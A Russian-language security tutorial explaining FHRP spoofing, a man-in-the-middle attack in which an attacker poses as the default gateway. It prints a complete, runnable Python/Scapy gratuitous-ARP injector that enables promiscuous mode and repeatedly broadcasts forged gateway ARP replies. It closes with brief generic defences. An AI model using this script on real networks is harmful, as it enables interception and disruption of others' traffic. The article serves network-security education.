Системы горячего резервирования протоколов (FHRP) играют важную роль в обеспечении высокой доступности сетей, обеспечивая резервное копирование шлюза по умолчанию для устройств в локальной сети. Однако, подобно многим другим технологиям, FHRP подвержен риску атаки спуфинга. Давайте разберем, что такое спуфинг в системе горячего резервирования протоколов, как это может повлиять на сеть, и как защититься от этой угрозы.
Еще по теме: MITM-атака в локальной сети
Что такое FHRP
Это набор протоколов, таких как HSRP (Hot Standby Router Protocol), VRRP (Virtual Router Redundancy Protocol) и GLBP (Gateway Load Balancing Protocol), которые обеспечивают резервное копирование шлюза по умолчанию для устройств в локальной сети. Это позволяет обеспечить непрерывную работу сети в случае отказа основного шлюза.
Спуфинг в системе горячего резервирования FHRP
Спуфинг в системе горячего резервирования протоколов — это атака, при которой злоумышленник подделывает себя в качестве активного шлюза, отправляя ложные сообщения протокола FHRP на сеть. Это может привести к тому, что устройства в сети начнут отправлять свой трафик через поддельный шлюз, что в конечном итоге может привести к перехвату данных или отказу в обслуживании.
Статья в образовательных целях, для обучения этичных хакеров. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Это крайне дерзкая MITM-атака: при спуфинге FHRP-мастера весь трафик сегмента пойдет в вашу сторону, так как в ваш адрес будет адресом шлюза по умолчанию для остальных легитимных хостов. Это рискованный вектор, так как твое оборудование должно быть готово к такому мощному потоку трафика.
Как это работает? Злоумышленник отправляет ложные пакеты протокола FHRP с манипулированными параметрами приоритета и веса, чтобы устройства в сети выбрали его в качестве активного шлюза. После этого весь трафик направляется через поддельный шлюз, где он может быть перехвачен или манипулирован.
Необходимость использовать GARP
При спуфинге домена FHRP необходимо отправить специальный Gratuitous ARP-кадр, который уведомит весь сегмент о том, что возникла новая привязка MAC-адреса и IP-адреса. Ведь при захвате FHRP-мастера ты будешь обслуживать его и отвечать за адрес шлюза по умолчанию для конечных хостов.
Вот код на Python который будет генерировать и отправлять GARP-кадр каждые 300 секунд.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
#!/usr/bin/env python3 print ("Gratuitous ARP Injector") print("Author: Caster, @casterbyte, <caster@exploit.org>") from scapy.all import * from scapy.layers.l2 import * import argparse import colorama from colorama import Fore, Style colorama.init(autoreset=True) l2broad = "FF:FF:FF:FF:FF:FF" def take_args(): parser = argparse.ArgumentParser() parser.add_argument("--gateway", dest="gateway", type=str, required=True, help="Choose gateway IP address") parser.add_argument("--interface", dest="interface", type=str, required=True, help="Choose your interface for attack") parser.add_argument("--mac", dest="evilmac", type=str, required=True, help="Specify your MAC Address") args = parser.parse_args() return args args = take_args() def switch_to_promisc(interface): print(Fore.YELLOW + Style.BRIGHT + "\n[!] Switching " + Fore.BLUE + Style.BRIGHT + interface + Fore.YELLOW + Style.BRIGHT + " to promiscious mode") subprocess.call(["ip", "link", "set", interface, "promisc", "on"]) ip_a_result = subprocess.check_output(["ip", "add", "show", interface]) promisc_mode_search = re.search(r"PROMISC", ip_a_result.decode()) if promisc_mode_search: print (Fore.YELLOW + Style.BRIGHT + "[*] Switched " + Fore.BLUE + Style.BRIGHT + "successfully") else: print (Fore.RED + Style.BRIGHT + "[!] Error. Not switched to promisc.") def exploit(gateway, interface, evilmac): ether_frame = Ether(src=args.evilmac, dst=l2broad) arp_frame = ARP(op="is-at", pdst=args.gateway, hwsrc=args.evilmac, hwdst=l2broad, psrc=args.gateway) garp_frame = ether_frame / arp_frame sendp(garp_frame, iface=args.interface, inter=300, loop=1, verbose=1) switch_to_promisc(args.interface) exploit(args.interface, args.evilmac, args.gateway) |
Полный технический обзор атак на домены FHRP я рассмотрел в статье «FHRP Nightmare».
Защита от спуфинга FHRP
Существует несколько методов защиты от атак спуфинга в системе горячего резервирования протоколов:
- Использование безопасных настроек протоколов FHRP, таких как настройка аутентификации (если поддерживается), чтобы предотвратить прием ложных сообщений от несанкционированных источников.
- Регулярное мониторинг сетевого трафика на предмет аномалий, таких как внезапное изменение активного шлюза или появление подозрительных пакетов.
- Обновление программного обеспечения устройств сети и применение правил фильтрации трафика для блокировки поддельных сообщений протоколов FHRP.
Спуфинг в системе горячего резервирования протоколов FHRP представляет серьезную угрозу для безопасности сетей, но с правильными мерами защиты и постоянным мониторингом можно существенно снизить риск возникновения подобных атак. Внедрение многоуровневой стратегии безопасности и регулярное обновление системных настроек помогут обеспечить стабильность и надежность сетевой инфраструктуры.
В следующей статье поговорим про спуфинг дерева STP.
ПОЛЕЗНЫЕ ССЫЛКИ:
